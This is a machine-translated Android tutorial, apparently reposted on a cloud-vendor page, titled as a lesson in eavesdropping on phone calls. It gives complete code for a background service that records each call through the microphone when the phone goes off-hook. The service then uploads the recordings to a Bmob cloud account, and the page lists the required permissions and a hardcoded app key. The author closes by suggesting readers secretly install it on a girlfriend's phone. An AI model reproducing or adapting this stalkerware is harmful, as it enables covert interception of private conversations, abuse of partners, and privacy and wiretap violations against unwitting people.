Android Combat Simple Tutorial-the 55th gun (eavesdropping on the phone recording of the audio Upload)

Source: Internet
Author: User
<span id="Label3"></p><p><p><span style="font-size:18px;">Some time ago I wrote an article about SMS listening to the Android combat Simple tutorial-the 40th gun (eavesdropping on the news of the SMS monitoring), saying that now SMS with more and less ah, the following to a more fierce, phone recording monitoring upload, the phone after the start of recording, phone hanging after the recording upload. Here we still use the upload service provided by bmob, the recording files uploaded to the bomb server, you can download, play the Recording.</span></p></p>first, Configure the Bmob<span style="font-size:18px;"><span style="font-size:18px;">Configuring the Bmob service is simple, registering an account, downloading the jar package, introducing the jar package into the Libs file directory:</span></span><br><br><span style="font-size:18px;"><span style="font-size:18px;">then configure the permissions:</span></span><pre name="code" class="html"><pre name="code" class="html"><uses-permission android:name= "android.permission.INTERNET"/><uses-permission android:name= " Android.permission.ACCESS_WIFI_STATE "/><uses-permission android:name=" android.permission.ACCESS_NETWORK_ State "/><uses-permission android:name=" Android.permission.READ_PHONE_STATE "/><uses-permission Android:name= "android.permission.WRITE_EXTERNAL_STORAGE"/><uses-permission android:name= " Android.permission.READ_LOGS "/></pre></pre><br><span style="font-size:18px;"><span style="font-size:18px;">then initialize it in the Code:</span></span><pre name="code" class="java"><pre name="code" class="java">Package Com.bmob.example;import Cn.bmob.bmob;import Android.app.activity;import Android.os.bundle;public class Mainactivity extends Activity { @Override protected void onCreate (Bundle Savedinstancestate) { //TODO auto-generated method Stub super.oncreate (savedinstancestate); When initializing the Bmob SDK //use, replace the second parameter application ID with the application ID you created on the Bmob server (this, bmob.initialize Application ID ");} }</pre></pre><span style="font-size:18px;"><span style="font-size:18px;"><br>These are on the official website of the rapid introduction of all, we can learn by themselves, let us look at the code Implementation. </span></span>second, The Code implementation<span style="font-size:18px;"><span style="font-size:18px;">1.mainactivity.java:</span></span><pre name="code" class="java"><pre name="code" class="java">Package Com.example.detectdemo;import Android.app.activity;import Android.content.intent;import android.os.Bundle; public class Mainactivity extends Activity {@Overrideprotected void onCreate (Bundle Savedinstancestate) {super.oncreate (savedinstancestate); Setcontentview (r.layout.activity_main); Intent Intent = new Intent (this,phoneservice.class); StartService (intent); }}</pre></pre><br><span style="font-size:18px;"><span style="font-size:18px;">Mainactivity.java is starting a service, let's take a look at this service:</span></span><pre name="code" class="java">Package Com.example.detectdemo;import Java.io.file;import Cn.bmob.v3.bmob;import cn.bmob.v3.datatype.BmobFile; Import Cn.bmob.v3.listener.uploadfilelistener;import Android.app.service;import Android.content.context;import Android.content.intent;import Android.media.mediarecorder;import Android.os.environment;import Android.os.IBinder ; Import Android.telephony.phonestatelistener;import Android.telephony.telephonymanager;public class PhoneService Extends Service {private telephonymanager tm;private MyPhoneStateListener1 listener;private mediarecorder mr;@ overridepublic void OnCreate () {super.oncreate (); Bmob.initialize (this, "043e93c00763edf4ba390e9031775656"); tm = (telephonymanager) Getsystemservice ( context.telephony_service); listener = new MyPhoneStateListener1 (); tm.listen (listener, phonestatelistener.listen_ call_state);} Private class MyPhoneStateListener1 extends Phonestatelistener {public void oncallstatechanged (int state, String Incomingnumber) {switch (state) {case telephonymanager.caLl_state_idle://idle State if (mr! = Null) {//if (incomingnumber.equals ("5556") | | Incomingnumber.equals ("15555215556")) {mr.stop (); mr.reset (); mr.release (); mr = Null;//}}break;case Telephonymanager.call_state_offhook://the listening state, make a recording monitor try {mr = new Mediarecorder (); Mr.setaudiosource ( MediaRecorder.AudioSource.MIC); Mr.setoutputformat (MediaRecorder.OutputFormat.THREE_GPP); Mr.setaudioencoder ( MediaRecorder.AudioEncoder.AMR_NB); String filenamestring = System.currenttimemillis () + ". 3gp"; File File = new file (environment.getexternalstoragedirectory (), filenamestring); String filepathstring = File.getpath (); mr.setoutputfile (file.getabsolutepath ()); mr.prepare (); mr.start (); upload ( filepathstring);} Catch (Exception e) {e.printstacktrace ();} Break;case Telephonymanager.call_state_ringing://bell State break;default:break;}};} @Overridepublic ibinder onbind (Intent Intent) {return null;} /** * Upload File * * @param filepath */private void upload (String filepath) {final bmobfile icon = new Bmobfile (new file (filep ath)); Icon.upload (this, new Uploadfilelistener () {@Overridepublic void onsuccess () {//upload succeeded! Cheat name = new Cheat (); name.setname (icon); name.save (getapplicationcontext ());} @Overridepublic void onprogress (Integer arg0) {} @Overridepublic void onfailure (int arg0, String arg1) {}});}}</pre><span style="font-size:18px;"><span style="font-size:18px;"> Last configure permissions: </span> </span><pre name="code" class="html"><?xml version= "1.0" encoding= "utf-8"? ><manifest xmlns:android= "http://schemas.android.com/apk/res/ Android "package=" Com.example.detectdemo "android:versioncode=" 1 "android:versionname=" 1.0 "> &LT;USES-SDK android:minsdkversion= "8" android:targetsdkversion= "/> <uses-permission android:name=" ANDROID.P Ermission. INTERNET "/> <uses-permission android:name=" Android.permission.ACCESS_WIFI_STATE "/> <uses-permission an Droid:name= "android.permission.ACCESS_NETWORK_STATE"/> <uses-permission android:name= " Android.permission.READ_PHONE_STATE "/> <uses-permission android:name=" android.permission.WRITE_EXTERNAL_ STORAGE "/> <uses-permission android:name=" android.permission.READ_LOGS "/> <uses-permission Android:nam E= "android.permission.READ_PHONE_STATE"/> <!--//used to read phone status--<uses-permission android:name= " Android.permission.RECORD_AUDIO "/> <!--//recording permissions--<uses-Permission Android:name= "android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/> <!--//the following two are read and write sdcard corresponding permissions-- <uses-permission android:name= "android.permission.WRITE_EXTERNAL_STORAGE"/> <application android:allow backup= "true" android:icon= "@drawable/ic_launcher" android:label= "@string/app_name" android:theme= "@s Tyle/apptheme "> <activity android:name=". Mainactivity "android:label=" @string/app_name "> <intent-filter> <action Android:name= "android.intent.action.MAIN"/> <category android:name= "android.intent.category.LAUNCHER "/> </intent-filter> </activity> <service android:name=" Com.example.detectdemo . Phoneservice "> </service> </application></manifest></pre><br><br><span style="font-size:18px;"><span style="font-size:18px;">mainly used in the Telephonymanager telephone management class and Mediarecorder recording class, but also relatively simple, after the end of the recording through Bmob upload method to upload Files. </span></span><span style="font-size:18px;"><span style="font-size:18px;"><br></span></span><span style="font-size:18px;"><span style="font-size:18px;">Run this instance, and then call 10010 to Test:</span></span><br><br><br><br><span style="font-size:18px;"><span style="font-size:18px;">click on the filename to download the file:</span></span><br><span style="font-size:18px;"><span style="font-size:18px;">well, Since this feature has been implemented. You can put it on the phone of your female ticket! haha, cautious and for it ah! Not responsible for </span></span><strong><strong><span style="font-size:18px;color:#cc0000;">Favorite Friends Please follow me and my public number! Thanks</span></strong></strong><br><br><br> <p style="font-size:12px;"><p style="font-size:12px;">Copyright Notice: This article for Bo Master original article, without Bo Master permission not Reproduced.</p></p> <p><p>Android Combat Simple Tutorial-the 55th gun (eavesdropping on the phone recording of the audio Upload)</p></p></span>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.